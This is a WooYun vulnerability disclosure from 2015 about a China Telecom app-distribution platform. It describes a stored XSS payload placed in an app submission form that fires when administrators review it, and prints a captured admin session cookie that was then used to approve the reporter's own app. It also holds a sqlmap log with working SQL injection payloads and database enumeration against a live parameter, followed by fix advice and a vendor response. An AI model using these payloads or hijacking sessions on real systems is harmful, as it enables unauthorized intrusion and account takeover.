当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134867

漏洞标题:中国电信旗下某平台SQL注入+xss(已进后台)

相关厂商:中国电信

漏洞作者: 陆由乙

提交时间:2015-08-20 21:52

修复时间:2015-10-05 18:54

公开时间:2015-10-05 18:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-21: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开

简要描述:

666666666666

详细说明:

http://**.**.**.**/webfront/index.php/myapp/myapp
帐号dadada密码dadada
自己进后台也会触发XSS(自己的触发在版本号这里),由于我在应用上架申请的地方填了XSS代码,所以管理审核上架时会触发。
2015-08-05 10:10:41
location : http://**.**.**.**/webfront/index.php/appshelf
toplocation : http://**.**.**.**/webfront/index.php/appshelf
cookie : imusic221_autologin=a%3A3%3A%7Bs%3A6%3A%22key_id%22%3Bs%3A16%3A%2286615480390d97f8%22%3Bs%3A7%3A%22user_id%22%3Bs%3A2%3A%2210%22%3Bs%3A14%3A%22role_view_type%22%3Bs%3A6%3A%22imusic%22%3B%7D; imusic221_session=d5262856b1ad7923cfa47e15b3a19629; _ga=GA1.2.1324565493.1436752929; _gat=1; Hm_lvt_248e38b9630c145aa3aa4f3a51e68b2a=1436752934,1436839227,1436927406,1438740545; Hm_lpvt_248e38b9630c145aa3aa4f3a51e68b2a=1438740805
opener :

HTTP_REFERER : http://**.**.**.**/webfront/index.php/appshelf
HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
REMOTE_ADDR : **.**.**.**
管理的cookie,这个网页设计坑,UA也得一样才能用。我用K8fly登着管理的帐号把自己应用的审核过了。
亲爱的dadada:
恭喜你,你的应用script src=httpxss.tvhFETnSscript已成功在第三方市场上架,你现在可以在以下应用市场搜索并下载
此应用:机锋市场、天翼空间、test、木蚂蚁
下面是应用下载信息:
script src=httpxss.tvhFETnSscript
下载地址:
android:http://**.**.**.**/webfront/index.php/deployment/update?appid=6812&type=android
iphone:http://**.**.**.**/webfront/index.php/deployment/update?appid=6812&type=iphone
下载地址二维码:
使用过程中遇到疑问,您可以通过下面方式与我们取得联系!
网址:http://**.**.**.**/
邮箱:mailto:cp@**.**.**.**
电话:020-37874192
爱音乐蜂巢计划官网产品团队
2015年07月14日

漏洞证明:

E:\qy\sqlmapproject-sqlmap-b1d13d1>SQLMAP.PY -u "http://**.**.**.**/OrderRing.a
spx?ringNo=810034501006&type=0&ProgCode=0111&Seed=250" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:10:45
[22:10:45] [INFO] testing connection to the target URL
[22:10:48] [WARNING] reflective value(s) found and filtering out
[22:10:48] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:10:50] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[22:10:51] [INFO] testing if GET parameter 'ringNo' is dynamic
[22:10:52] [INFO] confirming that GET parameter 'ringNo' is dynamic
[22:10:53] [INFO] GET parameter 'ringNo' is dynamic
[22:10:55] [WARNING] heuristic (basic) test shows that GET parameter 'ringNo' mi
ght not be injectable
[22:10:55] [INFO] testing for SQL injection on GET parameter 'ringNo'
[22:10:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:11:04] [INFO] GET parameter 'ringNo' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[22:11:07] [INFO] heuristic (extended) test shows that the back-end DBMS could b
e 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1) values? [Y/n]
[22:11:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:11:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:11:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:11:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[22:11:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:11:54] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[22:11:55] [INFO] testing 'MySQL inline queries'
[22:11:55] [INFO] testing 'PostgreSQL inline queries'
[22:11:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:11:55] [INFO] testing 'Oracle inline queries'
[22:11:55] [INFO] testing 'SQLite inline queries'
[22:11:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:11:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:11:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:12:18] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e stacked queries' injectable
[22:12:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:12:40] [INFO] GET parameter 'ringNo' seems to be 'Microsoft SQL Server/Sybas
e time-based blind' injectable
[22:12:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:12:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[22:12:49] [INFO] target URL appears to be UNION injectable with 13 columns
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[22:21:05] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[22:21:05] [INFO] checking if the injection point on GET parameter 'ringNo' is a
false positive
GET parameter 'ringNo' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 111 HTTP(s) req
uests:
---
Parameter: ringNo (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ringNo=810034501006' AND 7694=7694 AND 'PkFo'='PkFo&type=0&ProgCode
=0111&Seed=250
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ringNo=810034501006'; WAITFOR DELAY '0:0:5'--&type=0&ProgCode=0111&
Seed=250
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ringNo=810034501006' WAITFOR DELAY '0:0:5'--&type=0&ProgCode=0111&S
eed=250
---
[22:22:14] [INFO] testing Microsoft SQL Server
[22:22:15] [INFO] confirming Microsoft SQL Server
[22:22:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[22:22:20] [INFO] fetching database names
[22:22:20] [INFO] fetching number of databases
[22:22:20] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[22:22:20] [INFO] retrieved:
[22:22:28] [INFO] retrieved:
[22:22:28] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
6
[22:31:42] [INFO] retrieved:
[22:31:58] [INFO] retrieved:mas
跑的太慢,不跑了。

修复方案:

1.XSS过滤(白名单)
2.SQL过滤(结构化查询)

版权声明:转载请注明来源 陆由乙@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-08-21 18:53

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无